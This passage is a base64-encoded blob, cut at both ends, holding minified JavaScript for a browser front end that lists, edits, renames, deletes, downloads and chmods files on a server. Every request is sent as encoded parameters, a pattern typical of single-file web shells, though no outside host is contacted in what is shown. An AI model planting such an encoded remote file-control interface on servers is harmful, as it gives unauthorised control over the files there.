0JKMFRHcWg1TU1QR3ovYm5NdTE0TkRVTnV4WW9WMGFJeit3akFhMGIxTTNiWWVYTlQ0QURpdXZFV2dCY3FIR0grRVVSL2h1R2NtODVMS2IvY1JZU2JLMlNKVnRtNTNwOENCNUJNcG05eVFIM1QrV2pLRFlyS1ppdFkyZnVVWE9BQWxOSllzdk5lSXFtZXpjMXhNNmJoNVl6ZkJMVFYrWHpQbWRBQUtNV0poR0V3WVNjSXE4TUM3UThlRHhGakY4dTJ6U3FiYlRRaTlhZkV2L1RGZDRSYVpDVkJUdHM3UXNIeTFQbjVzM3BPOXZRTVZuc1F5aER3ajJuNmFsejFBUDREc21Mc2JoemNLL01BQUFBQVNVVk9SSzVDWUlJPSI7ZnVuY3Rpb24gbGlzdF9kaXIoZSl7dm9pZCAwPT09ZSYmKGU9Ii4iKTtsZXQgdD1kb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuaW5uZXIgdGFibGUiKSxBPWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi5pbm5lciAubG9hZGVyaG9sZCAubG9hZGVyIik7dC5zdHlsZS5kaXNwbGF5PSJub25lIixBLnN0eWxlLmRpc3BsYXk9ImJsb2NrIjtsZXQgbj1uZXcgRm9ybURhdGE7bi5hcHBlbmQoImxpc3RfZGlyIixidG9hKGUpKTtsZXQgaT1uZXcgWE1MSHR0cFJlcXVlc3Q7aS5vcGVuKCJwb3N0IixiYXNlbmFtZSgpLCEwKSxpLm9ubG9hZD1mdW5jdGlvbigpe2lmKDQ9PWkucmVhZHlTdGF0ZSl7dmFyIGU9SlNPTi5wYXJzZSh0aGlzLnJlc3BvbnNlKTtpZih2b2lkIDAhPT1lLnN0YXR1c3x8bnVsbD09ZS5uYW1lfHxudWxsPT1lLm5hbWV8fCIiPT1lLm5hbWUpc2hvd19wb3B1cCgiQ2FuIG5vdCBjaGFuZ2UgZGlyISIsM2UzLCJhbGVydCIpLEEuc3R5bGUuZGlzcGxheT0ibm9uZSIsdC5zdHlsZS5kaXNwbGF5PSJ0YWJsZSIsZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImN1cnJfZGlyIikudmFsdWU9d29ya2luZ19kaXI7ZWxzZXtsZXQgbj1kb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuaW5uZXIgdGFibGUgdGJvZHkiKSxpPW4ucXVlcnlTZWxlY3RvckFsbCgidHIiKTtmb3IobGV0IGU9MDtlPGkubGVuZ3RoO2UrKylpW2VdLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQoaVtlXSk7Zm9yKGxldCB0PTA7dDxlLm5hbWUubGVuZ3RoO3QrKyl7bGV0IEE9bi5pbnNlcnRSb3coKTtBLnNldEF0dHJpYnV0ZSgiaWQiLCJ0cl8iK3QpO2xldCBpPUEuaW5zZXJ0Q2VsbCgpLG89QS5pbnNlcnRDZWxsKCkscz1BLmluc2VydENlbGwoKSxsPUEuaW5zZXJ0Q2VsbCgpLGE9QS5pbnNlcnRDZWxsKCkscj1BLmluc2VydENlbGwoKTtpZihpLnN0eWxlLnRleHRBbGlnbj0iY2VudGVyIixvLnN0eWxlLnRleHRBbGlnbj0ibGVmdCIsImRpcmVjdG9yeSI9PWUudHlwZVt0XSkiLi4iIT1lLm5hbWVbdF0/KGkuaW5zZXJ0QWRqYWNlbnRIVE1MKCJhZnRlcmJlZ2luIiwnPGkgY2xhc3M9ImZhcyBmYS1mb2xkZXIiIHN0eWxlPSJjb2xvcjojZDZiMTcyOyI+PC9pPicpLHIuaW5zZXJ0QWRqYWNlbnRIVE1MKCJhZnRlcmJlZ2luIiwnPGRpdiBjbGFzcz0iaWNvbnMiPjxpIG9uY2xpY2s9ImRvd25sb2FkX2ZvbGRlcl9wcm9jZXNzKFwnJytlLnBhdGhbdF0ucmVwbGFjZSgvXFwvZywiLyIpKydcJyk7IiBjbGFzcz0iZmFzIGZhLWZpbGUtYXJjaGl2ZSIgc3R5bGU9ImNvbG9yOiNDQjM2MzciIHRpdGxlPSJEb3dubG9hZCBhcyB6aXAiPjwvaT48aSBjbGFzcz0iZmFzIGZhLWVkaXQiIHN0eWxlPSJjb2xvcjojZmZjZjQxIiB0aXRsZT0iUmVuYW1lIiBvbmNsaWNrPSJyZW5hbWVfZGlyKFwnJytlLnBhdGhbdF0ucmVwbGFjZSgvXFwvZywiLyIpKyInLCciK0EuZ2V0QXR0cmlidXRlKCJpZCIpKyInLCciK2UubmFtZVt0XSsnXCcpOyIgc3R5bGU9ImNvbG9yOiNmZmY7Ij48L2k+PGkgY2xhc3M9ImZhcyBmYS10cmFzaC1hbHQiIHRpdGxlPSJSZW1vdmUiIG9uY2xpY2s9InJlbW92ZV9maWxlKFwnJytlLnBhdGhbdF0ucmVwbGFjZSgvXFwvZywiLyIpKyInLCciK0EuZ2V0QXR0cmlidXRlKCJpZCIpKydcJyk7IiBzdHlsZT0iY29sb3I6I2Y1NTg1ODsiPjwvaT48L2Rpdj4nKSxvLmluc2VydEFkamFjZW50SFRNTCgiYWZ0ZXJiZWdpbiIsIjxzcGFuIG9uY2xpY2s9XCJsaXN0X2RpcignIitlLnBhdGhbdF0ucmVwbGFjZSgvXFwvZywiLyIpKyInKTtcIj4iK2UubmFtZVt0XSsiPC9zcGFuPiIpKTooaS5pbnNlcnRBZGphY2VudEhUTUwoImFmdGVyYmVnaW4iLCc8aSBjbGFzcz0iZmFzIGZhLWZvbGRlciIgc3R5bGU9ImNvbG9yOiNkNmIxNzI7Ij48L2k+Jyksci5pbnNlcnRBZGphY2VudEhUTUwoImFmdGVyYmVnaW4iLCIiKSxvLmluc2VydEFkamFjZW50SFRNTCgiYWZ0ZXJiZWdpbiIsIjxzcGFuIG9uY2xpY2s9XCJsaXN0X2RpcignIitlLnBhdGhbdF0ucmVwbGFjZSgvXFwvZywiLyIpKydcJyk7Ij48aSBjbGFzcz0iZmFzIGZhLWFycm93LWxlZnQiPjwvaT48L3NwYW4+JykpO2Vsc2V7bGV0IG49ZS5uYW1lW3RdLnN1YnN0cmluZyhlLm5hbWVbdF0ubGFzdEluZGV4T2YoIi4iKSsxKS50b0xvd2VyQ2FzZSgpOyJqcyI9PW4/aS5pbnNlcnRBZGphY2VudEhUTUwoImFmdGVyYmVnaW4iLCc8aSBjbGFzcz0iZmFiIGZhLWpzIiBzdHlsZT0iY29sb3I6b3JhbmdlIj48L2k+Jyk6InNxbCI9PW58fCJkYiI9PW4/aS5pbnNlcnRBZGphY2VudEhUTUwoImFmdGVyYmVnaW4iLCc8aSBjbGFzcz0iZmFzIGZhLWRhdGFiYXNlIj48L2k+Jyk6InBocCI9PW4/aS5pbnNlcnRBZGphY2VudEhUTUwoImFmdGVyYmVnaW4iLCc8aW1nIHN0eWxlPSJ3aWR0aDoxN3B4O2hlaWdodDoxN3B4OyIgc3JjPSInK3BocF9pY29uKyciIC8+Jyk6InB5Ij09bj9pLmluc2VydEFkamFjZW50SFRNTCgiYWZ0ZXJiZWdpbiIsJzxpbWcgc3R5bGU9IndpZHRoOjE3cHg7aGVpZ2h0OjE3cHg7IiBzcmM9IicrcHl0aG9uX2ljb24rJyIgLz4nKToicmIiPT1uP2kuaW5zZXJ0QWRqYWNlbnRIVE1MKCJhZnRlcmJlZ2luIiwnPGltZyBzdHlsZT0id2lkdGg6MTdweDtoZWlnaHQ6MTdweDsiIHNyYz0iJytydWJ5X2ljb24rJyIgLz4nKToiYyI9PW4/aS5pbnNlcnRBZGphY2VudEhUTUwoImFmdGVyYmVnaW4iLCc8aW1nIHN0eWxlPSJ3aWR0aDoxN3B4O2hlaWdodDoxN3B4OyIgc3JjPSInK2NfaWNvbisnIiAvPicpOiJjcHAiPT1uP2kuaW5zZXJ0QWRqYWNlbnRIVE1MKCJhZnRlcmJlZ2luIiwnPGltZyBzdHlsZT0id2lkdGg6MTdweDtoZWlnaHQ6MTdweDsiIHNyYz0iJytjcHBfaWNvbisnIiAvPicpOiJzaCI9PW4/aS5pbnNlcnRBZGphY2VudEhUTUwoImFmdGVyYmVnaW4iLCc8aW1nIHN0eWxlPSJ3aWR0aDoxN3B4O2hlaWdodDoxN3B4OyIgc3JjPSInK3NoX2ljb24rJyIgLz4nKToicGwiPT1uP2kuaW5zZXJ0QWRqYWNlbnRIVE1MKCJhZnRlcmJlZ2luIiwnPGltZyBzdHlsZT0id2lkdGg6MTdweDtoZWlnaHQ6MTdweDsiIHNyYz0iJytwZXJsX2ljb24rJyIgLz4nKToiY29uZmlnIj09bj9pLmluc2VydEFkamFjZW50SFRNTCgiYWZ0ZXJiZWdpbiIsJzxpbWcgc3R5bGU9IndpZHRoOjE3cHg7aGVpZ2h0OjE3cHg7IiBzcmM9IicrY29uZmlnX2ljb24rJyIgLz4nKToiaW5pIj09bj9pLmluc2VydEFkamFjZW50SFRNTCgiYWZ0ZXJiZWdpbiIsJzxpbWcgc3R5bGU9IndpZHRoOjE3cHg7aGVpZ2h0OjE3cHg7IiBzcmM9IicraW5pX2ljb24rJyIgLz4nKToianNvbiI9PW4/aS5pbnNlcnRBZGphY2VudEhUTUwoImFmdGVyYmVnaW4iLCc8aW1nIHN0eWxlPSJ3aWR0aDoxN3B4O2hlaWdodDoxN3B4OyIgc3JjPSInK2pzb25faWNvbisnIiAvPicpOiJ4bWwiPT1uP2kuaW5zZXJ0QWRqYWNlbnRIVE1MKCJhZnRlcmJlZ2luIiwnPGltZyBzdHlsZT0id2lkdGg6MTdweDtoZWlnaHQ6MTdweDsiIHNyYz0iJyt4bWxfaWNvbisnIiAvPicpOiJ0eHQiPT1uP2kuaW5zZXJ0QWRqYWNlbnRIVE1MKCJhZnRlcmJlZ2luIiwnPGkgY2xhc3M9ImZhcyBmYS1maWxlLWFsdCI+PC9pPicpOiJ6aXAiPT1ufHwicmFyIj09bnx8Ijd6Ij09bnx8InRhciI9PW58fCJ0YXIuZ3oiPT1ufHwiZ3oiPT1uP2kuaW5zZXJ0QWRqYWNlbnRIVE1MKCJhZnRlcmJlZ2luIiwnPGltZyBzdHlsZT0id2lkdGg6MTdweDtoZWlnaHQ6MTdweDsiIHNyYz0iJyt6aXBfaWNvbisnIiAvPicpOiJjc3MiPT1uP2kuaW5zZXJ0QWRqYWNlbnRIVE1MKCJhZnRlcmJlZ2luIiwnPGkgY2xhc3M9ImZhYiBmYS1jc3MzLWFsdCIgc3R5bGU9ImNvbG9yOiMzRDU4RTciPjwvaT4nKToianBnIj09bnx8ImdpZiI9PW58fCJwbmciPT1ufHwianBlZyI9PW58fCJibXAiPT1ufHwid2VicCI9PW58fCJzdmciPT1ufHwiaWNvIj09bj9pLmluc2VydEFkamFjZW50SFRNTCgiYWZ0ZXJiZWdpbiIsJzxpbWcgc3R5bGU9IndpZHRoOjE3cHg7aGVpZ2h0OjE3cHg7IiBzcmM9IicraW1hZ2VfaWNvbisnIiAvPicpOiJodG1sIj09bnx8Imh0bSI9PW58fCJzaHRtbCI9PW4/aS5pbnNlcnRBZGphY2VudEhUTUwoImFmdGVyYmVnaW4iLCc8aSBjbGFzcz0iZmFiIGZhLWh0bWw1IiBzdHlsZT0iY29sb3I6I0VBNjgyRCI+PC9pPicpOiJqYXZhIj09bnx8ImphciI9PW4/aS5pbnNlcnRBZGphY2VudEhUTUwoImFmdGVyYmVnaW4iLCc8aW1nIHN0eWxlPSJ3aWR0aDoxN3B4O2hlaWdodDoxN3B4OyIgc3JjPSInK2phdmFfaWNvbisnIiAvPicpOiJwZGYiPT1uP2kuaW5zZXJ0QWRqYWNlbnRIVE1MKCJhZnRlcmJlZ2luIiwnPGltZyBzdHlsZT0id2lkdGg6MTdweDtoZWlnaHQ6MTdweDsiIHNyYz0iJytwZGZfaWNvbisnIiAvPicpOiJkb2MiPT1ufHwiZG9jeCI9PW4/aS5pbnNlcnRBZGphY2VudEhUTUwoImFmdGVyYmVnaW4iLCc8aW1nIHN0eWxlPSJ3aWR0aDoxN3B4O2hlaWdodDoxN3B4OyIgc3JjPSInK3dvcmRfaWNvbisnIiAvPicpOiJtNGEiPT1ufHwiZmxhYyI9PW58fCJtcDMiPT1ufHwid2F2Ij09bnx8ImFhYyI9PW58fCJ3bWEiPT1uP2kuaW5zZXJ0QWRqYWNlbnRIVE1MKCJhZnRlcmJlZ2luIiwnPGltZyBzdHlsZT0id2lkdGg6MTdweDtoZWlnaHQ6MTdweDsiIHNyYz0iJythdWRpb19pY29uKyciIC8+Jyk6ImNzdiI9PW58fCJ4bHMiPT1ufHwieGxzeCI9PW4/aS5pbnNlcnRBZGphY2VudEhUTUwoImFmdGVyYmVnaW4iLCc8aW1nIHN0eWxlPSJ3aWR0aDoxN3B4O2hlaWdodDoxN3B4OyIgc3JjPSInK2V4Y2VsX2ljb24rJyIgLz4nKToicG90eCI9PW58fCJwcHN4Ij09bnx8InBwdHgiPT1uP2kuaW5zZXJ0QWRqYWNlbnRIVE1MKCJhZnRlcmJlZ2luIiwnPGltZyBzdHlsZT0id2lkdGg6MTdweDtoZWlnaHQ6MTdweDsiIHNyYz0iJytwb3dlcnBvaW50X2ljb24rJyIgLz4nKToibXA0Ij09bnx8ImF2aSI9PW58fCJtb3YiPT1ufHwid212Ij09bnx8ImZsdiI9PW58fCJhdmNoZCI9PW58fCJta3YiPT1ufHwiM2dwIj09bj9pLmluc2VydEFkamFjZW50SFRNTCgiYWZ0ZXJiZWdpbiIsJzxpbWcgc3R5bGU9IndpZHRoOjE3cHg7aGVpZ2h0OjE3cHg7IiBzcmM9IicrdmlkZW9faWNvbisnIiAvPicpOmkuaW5zZXJ0QWRqYWNlbnRIVE1MKCJhZnRlcmJlZ2luIiwnPGkgY2xhc3M9ImZhcyBmYS1maWxlIj48L2k+Jyksci5pbnNlcnRBZGphY2VudEhUTUwoImFmdGVyYmVnaW4iLCc8ZGl2IGNsYXNzPSJpY29ucyI+PGkgY2xhc3M9ImZhcyBmYS1lZGl0IiBzdHlsZT0iY29sb3I6I2ZmY2Y0MSIgdGl0bGU9IkVkaXQiIG9uY2xpY2s9ImVkaXRfZmlsZShcJycrZS5wYXRoW3RdLnJlcGxhY2UoL1xcL2csIi8iKSsiJywnIitBLmdldEF0dHJpYnV0ZSgiaWQiKSsnXCcpOyIgc3R5bGU9ImNvbG9yOiNmZmY7Ij48L2k+PGkgY2xhc3M9ImZhcyBmYS10cmFzaC1hbHQiIHRpdGxlPSJSZW1vdmUiIG9uY2xpY2s9InJlbW92ZV9maWxlKFwnJytlLnBhdGhbdF0ucmVwbGFjZSgvXFwvZywiLyIpKyInLCciK0EuZ2V0QXR0cmlidXRlKCJpZCIpKydcJyk7IiBzdHlsZT0iY29sb3I6I2Y1NTg1ODsiPjwvaT48aSBjbGFzcz0iZmFzIGZhLWZpbGUtZG93bmxvYWQiIHRpdGxlPSJEb3dubG9hZCIgb25jbGljaz0iZG93bmxvYWRfZmlsZShcJycrZS5wYXRoW3RdLnJlcGxhY2UoL1xcL2csIi8iKSsnXCcpOyIgc3R5bGU9ImNvbG9yOiNmZmYiPjwvaT48L2Rpdj4nKSxvLmluc2VydEFkamFjZW50SFRNTCgiYWZ0ZXJiZWdpbiIsJzxzcGFuIGNsYXNzPSJ0b2dnbGUiIG9uY2xpY2s9ImVkaXRfZmlsZShcJycrZS5wYXRoW3RdLnJlcGxhY2UoL1xcL2csIi8iKSsiJywnIitBLmdldEF0dHJpYnV0ZSgiaWQiKSsiJyk7XCI+IitlLm5hbWVbdF0rIjwvc3Bhbj4iKX1zLmlubmVyVGV4dD1lLnNpemVbdF0sbC5pbm5lclRleHQ9ZS5tb2RpZnlbdF0sYS5pbnNlcnRBZGphY2VudEhUTUwoImFmdGVyYmVnaW4iLCc8c3BhbiBjbGFzcz0idG9nZ2xlIiBvbmNsaWNrPSJzZXRfY2htb2QoXCcnK2UucGF0aFt0XS5yZXBsYWNlKC9cXC9nLCIvIikrIicsJyIrZS5wZXJtX251bVt0XSsiJyk7XCI+IitlLnBlcm1zW3RdKyI8L3NwYW4+Iil9QS5zdHlsZS5kaXNwbGF5PSJub25lIix0LnN0eWxlLmRpc3BsYXk9InRhYmxlIixkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY3Vycl9kaXIiKS52YWx1ZT1lLmN1cnJlbnRfZGlyLGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJyZWFkX2ZpbGUiKS52YWx1ZT1lLmN1cnJlbnRfZGlyLHdvcmtpbmdfZGlyPWUuY3VycmVudF9kaXI7bGV0IG89c2VwYXJhdGVfcGF0aCgpLHM9IiI7Zm9yKGxldCBlPTA7ZTxvWzBdLmxlbmd0aDtlKyspe2xldCB0PW9bMV1bZV07Ii8iPT1vWzBdW2VdP3MrPSI8c3Ryb25nIHN0eWxlPSdjdXJzb3I6cG9pbnRlcjtmb250LXNpemU6MTZweDsnIG9uY2xpY2s9J2xpc3RfZGlyKFwiIit0KyJcIiknPiIrb1swXVtlXSsiPC9zdHJvbmc+IjpzKz0iPHN0cm9uZyBzdHlsZT0nY3Vyc29yOnBvaW50ZXI7Zm9udC1zaXplOjE2cHg7JyBvbmNsaWNrPSdsaXN0X2RpcihcIiIrdCsiXCIpJz4iK29bMF1bZV0rIi88L3N0cm9uZz4ifWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJwYXRoIikuaW5uZXJIVE1MPXN9fX0saS5zZW5kKG4pfWZ1bmN0aW9uIHJlbW92ZV9maWxlKGUsdCl7aWYod2luZG93LmNvbmZpcm0oIkRvIHlvdSByZWFsbHkgd2FudCB0byByZW1vdmUgdGhpcyBpdGVtPyIpKXtsZXQgQT1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCh0KSxuPW5ldyBGb3JtRGF0YTtuLmFwcGVuZCgicmVtb3ZlX2ZpbGUiLGJ0b2EoZSkpO2xldCBpPW5ldyBYTUxIdHRwUmVxdWVzdDtpLm9wZW4oInBvc3QiLGJhc2VuYW1lKCksITApLGkub25sb2FkPWZ1bmN0aW9uKCl7aWYoND09aS5yZWFkeVN0YXRlKXtpZigicmVtb3ZlZCIhPUpTT04ucGFyc2UodGhpcy5yZXNwb25zZSkuc3RhdHVzKXJldHVybiBzaG93X3BvcHVwKCJUaGlzIGZpbGUvZm9sZGVyIGNhbm5vdCBiZSByZW1vdmVkLGNoZWNrIHBlcm1pc3Npb25zISIsM2UzLCJhbGVydCIpLCExO0EucGFyZW50Tm9kZS5yZW1vdmVDaGlsZChBKSxzaG93X3BvcHVwKCJSZW1vdmVkIHN1Y2Nlc3NmdWxseSEiLDI1MDAsInN1Y2Nlc3MiKX19LGkuc2VuZChuKX19ZnVuY3Rpb24gZWRpdF9maWxlKGUsdCl7ZW1wdHlfcHJvY2Vzc19zY3JlZW4oKTtsZXQgQT1kb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIucHJvY2Vzcy1zY3JlZW4iKSxuPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImgzIik7bi5pbm5lckhUTUw9IkVkaXQgZmlsZSAiK2U7bGV0IGk9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaW1nIik7aS5zdHlsZS5kaXNwbGF5PSJub25lIixpLnN0eWxlLndpZHRoPSIyNTBweCIsaS5zdHlsZS5oZWlnaHQ9IjI1MHB4IjtsZXQgbz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJhdWRpbyIpO28uY29udHJvbHM9ITAsby5zdHlsZS5kaXNwbGF5PSJub25lIixvLnN0eWxlLm1hcmdpblRvcD0iMTBweCI7bGV0IHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgidmlkZW8iKTtzLmNvbnRyb2xzPSEwLHMud2lkdGg9MzUwLHMuaGVpZ2h0PTM1MCxzLnN0eWxlLmRpc3BsYXk9Im5vbmUiLHMuc3R5bGUubWFyZ2luVG9wPSIxMHB4IjtsZXQgbD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJmb3JtIik7bC5zZXRBdHRyaWJ1dGUoImlkIiwiZWRpdGZpbGUiKSxsLnNldEF0dHJpYnV0ZSgib25zdWJtaXQiLCJldmVudC5wcmV2ZW50RGVmYXVsdCgpOyIpO2xldCBhPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImlucHV0Iik7YS52YWx1ZT1lLGEudHlwZT0idGV4dCI7bGV0IHI9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgidGV4dGFyZWEiKTtyLnZhbHVlPSJMb2FkaW5nLi4uIixyLmRpc2FibGVkPSEwO2xldCBjPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImJ1dHRvbiIpO2MuaW5uZXJIVE1MPSJFRElUIjtsZXQgZD1uZXcgRm9ybURhdGE7ZC5hcHBlbmQoInJlYWRfZmlsZSIsYnRvYShlKSk7bGV0IHA9bmV3IFhNTEh0dHBSZXF1ZXN0O3Aub3BlbigicG9zdCIsYmFzZW5hbWUoKSwhMCkscC5vbmxvYWQ9ZnVuY3Rpb24oKXtpZig0PT1wLnJlYWR5U3RhdGUpdHJ5e2xldCBuPUpTT04ucGFyc2UodGhpcy5yZXNwb25zZSk7aWYodm9pZCAwIT09bi5kYXRhX3VybClyLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQociksaS5zcmM9bi5kYXRhX3VybCxpLnN0eWxlLmRpc3BsYXk9ImJsb2NrIixjLnNldEF0dHJpYnV0ZSgib25jbGljayIsJ2VkaXRfZmlsZV9wcm9jZXNzKCInK2UrJyIsIicrdCsnIiwibm9zYXZlIik7Jyk7ZWxzZSBpZihuLmF1ZGlvKXtyLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQocik7bGV0IGU9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic291cmNlIik7ZS5zcmM9YmFzZW5hbWUoKSsiP3BsYXlfYXVkaW89IituLmF1ZGlvLG8uYXBwZW5kQ2hpbGQoZSksby5zdHlsZS5kaXNwbGF5PSJibG9jayJ9ZWxzZSBpZihuLnZpZGVvKXtyLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQocik7bGV0IGU9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic291cmNlIik7ZS5zcmM9YmFzZW5hbWUoKSsiP3BsYXlfdmlkZW89IituLnZpZGVvLHMuYXBwZW5kQ2hpbGQoZSkscy5zdHlsZS5kaXNwbGF5PSJibG9jayJ9ZWxzZSBjLnNldEF0dHJpYnV0ZSgib25jbGljayIsJ2VkaXRfZmlsZV9wcm9jZXNzKCInK2UrJyIsIicrdCsnIiwic2F2ZSIpOycpLG51bGwhPW4uY29udGVudD9yLnZhbHVlPWF0b2Iobi5jb250ZW50KTooc2hvd19wb3B1cCgiQ2FuIG5vdCByZWFkIHRoaXMgZmlsZSEiLDNlMywiYWxlcnQiKSxBLnN0eWxlLnZpc2liaWxpdHk9ImhpZGRlbiIsQS5zdHlsZS5vcGFjaXR5PSIwIixBLnN0eWxlLnRvcD0iLTUwJSIpO3IuZGlzYWJsZWQ9ITF9Y2F0Y2goZSl7Y29uc29sZS5sb2coZSl9fSxwLnNlbmQoZCksbC5hcHBlbmRDaGlsZChhKSxsLmFwcGVuZENoaWxkKG8pLGwuYXBwZW5kQ2hpbGQocyksbC5hcHBlbmRDaGlsZChpKSxsLmFwcGVuZENoaWxkKHIpLGwuYXBwZW5kQ2hpbGQoYyksQS5hcHBlbmRDaGlsZChuKSxBLmFwcGVuZENoaWxkKGwpLEEuc3R5bGUudmlzaWJpbGl0eT0idmlzaWJsZSIsQS5zdHlsZS5vcGFjaXR5PSIxIixBLnN0eWxlLnRvcD0iNTAlIn1mdW5jdGlvbiBlZGl0X2ZpbGVfcHJvY2VzcyhlLHQsQSl7bGV0IG49bmV3IEZvcm1EYXRhLGk9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVkaXRmaWxlIiksbz1pLnF1ZXJ5U2VsZWN0b3IoImJ1dHRvbiIpO2lmKCJub3NhdmUiIT09QSl7bGV0IGU9aS5xdWVyeVNlbGVjdG9yKCJ0ZXh0YXJlYSIpLnZhbHVlO24uYXBwZW5kKCJjb250ZW50IixidG9hKGUpKX1sZXQgcz1pLnF1ZXJ5U2VsZWN0b3IoImlucHV0IikudmFsdWU7bi5hcHBlbmQoImVkaXRfZmlsZSIsYnRvYShlKSkscyE9PWUmJm4uYXBwZW5kKCJyZW5hbWUiLGJ0b2EocykpLG8uZGlzYWJsZWQ9ITAsby5pbm5lckhUTUw9IkVESVRJTkcuLi4iO2xldCBsPW5ldyBYTUxIdHRwUmVxdWVzdDtsLm9wZW4oInBvc3QiLGJhc2VuYW1lKCksITApLGwub25sb2FkPWZ1bmN0aW9uKCl7aWYoND09bC5yZWFkeVN0YXRlKXt0cnl7bGV0IG49SlNPTi5wYXJzZSh0aGlzLnJlc3BvbnNlKTtpZigiZmFpbGVkIj09bi5zdGF0dXMpc2hvd19wb3B1cCgiQ2FuIG5vdCBlZGl0IHRoaXMgZmlsZSEiLDNlMywiYWxlcnQiKTtlbHNlIGlmKCJvayI9PW4uc3RhdHVzKXNob3dfcG9wdXAoIkZpbGUgaGFzIGVkaXRlZCBzdWNjZXNzZnVsbHkhIiwzZTMsInN1Y2Nlc3MiKTtlbHNlIGlmKHNob3dfcG9wdXAoIkZpbGUgaGFzIGVkaXRlZCBzdWNjZXNzZnVsbHkhIiwzZTMsInN1Y2Nlc3MiKSxudWxsIT09dHx8IiIhPT10KXtsZXQgaSxvPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKHQpLmdldEVsZW1lbnRzQnlUYWdOYW1lKCJ0ZCIpLHM9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNjcmVlbiIpOyJub3NhdmUiIT09QSYmKGk9cy5xdWVyeVNlbGVjdG9yKCJ0ZXh0YXJlYSIpLnZhbHVlKSxzLnF1ZXJ5U2VsZWN0b3IoImJ1dHRvbiIpLmRpc2FibGVkPSExLHMucXVlcnlTZWxlY3RvcigiYnV0dG9uIikuaW5uZXJIVE1MPSJFRElUIixzLmlubmVySFRNTD1zLmlubmVySFRNTC5yZXBsYWNlKG5ldyBSZWdFeHAoZXNjYXBlUmVnRXhwKG4ub2xkX25hbWUpLCJnIiksbi5zdGF0dXMpLHMucXVlcnlTZWxlY3RvcigiaW5wdXQiKS52YWx1ZT1lLnJlcGxhY2UobmV3IFJlZ0V4cChlc2NhcGVSZWdFeHAobi5vbGRfbmFtZSksImciKSxuLnN0YXR1cyksIm5vc2F2ZSIhPT1BJiYocy5xdWVyeVNlbGVjdG9yKCJ0ZXh0YXJlYSIpLnZhbHVlPWkpO2ZvcihsZXQgZT0wO2U8by5sZW5ndGg7ZSsrKW9bZV0uaW5uZXJIVE1MPW9bZV0uaW5uZXJIVE1MLnJlcGxhY2UobmV3IFJlZ0V4cChlc2NhcGVSZWdFeHAobi5vbGRfbmFtZSksImciKSxuLnN0YXR1cyl9fWNhdGNoKGUpe2NvbnNvbGUubG9nKGUpfW8uZGlzYWJsZWQ9ITEsby5pbm5lckhUTUw9IkVESVQifX0sbC5zZW5kKG4pfWZ1bmN0aW9uIHJlYWRmaWxlKCl7ZWRpdF9maWxlKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJyZWFkX2ZpbGUiKS52YWx1ZSwiIil9ZnVuY3Rpb24gZG93bmxvYWRfZmlsZShlKXt3aW5kb3cubG9jYXRpb249YmFzZW5hbWUoKSsiP2Rvd25sb2FkX2ZpbGU9IitidG9hKGUpfWZ1bmN0aW9uIHJlbmFtZV9kaXIoZSx0LEEpe2VtcHR5X3Byb2Nlc3Nfc2NyZWVuKCk7bGV0IG49ZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLnByb2Nlc3Mtc2NyZWVuIiksaT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJoMyIpO2kuaW5uZXJIVE1MPSJSZW5hbWUgZGlyZWN0b3J5ICIrZTtsZXQgbz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJmb3JtIik7by5zZXRBdHRyaWJ1dGUoImlkIiwicmVuYW1lZGlyIiksby5zZXRBdHRyaWJ1dGUoIm9uc3VibWl0IiwiZXZlbnQucHJldmVudERlZmF1bHQoKTsiKTtsZXQgcz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJpbnB1dCIpLGw9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiYnV0dG9uIik7bC5pbm5lckhUTUw9IlJFTkFNRSIsbC5zZXRBdHRyaWJ1dGUoIm9uY2xpY2siLCdyZW5hbWVfZGlyX3Byb2Nlc3MoIicrZSsnIiwiJyt0KyciLCInK0ErJyIpOycpLHMudHlwZT0idGV4dCIscy52YWx1ZT1BLG8uYXBwZW5kQ2hpbGQocyksby5hcHBlbmRDaGlsZChsKSxuLmFwcGVuZENoaWxkKGkpLG4uYXBwZW5kQ2hpbGQobyksbi5zdHlsZS52aXNpYmlsaXR5PSJ2aXNpYmxlIixuLnN0eWxlLm9wYWNpdHk9IjEiLG4uc3R5bGUudG9wPSI1MCUifWZ1bmN0aW9uIHJlbmFtZV9kaXJfcHJvY2VzcyhlLHQsQSl7bGV0IG49ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInJlbmFtZWRpciIpLGk9bi5xdWVyeVNlbGVjdG9yKCJidXR0b24iKSxvPW4ucXVlcnlTZWxlY3RvcigiaW5wdXQiKTtpZigiIj09by52YWx1ZSlzaG93X3BvcHVwKCJFbXB0eSBmaWVsZCEiLDNlMywiYWxlcnQiKTtlbHNlIGlmKG8udmFsdWU9PUEpc2hvd19wb3B1cCgiTmFtZSBpcyBzYW1lIHdpdGggdGhlIG9sZCBvbmUhIiwzZTMsImFsZXJ0Iik7ZWxzZXtpLmRpc2FibGVkPSEwLGkuaW5uZXJIVE1MPSJ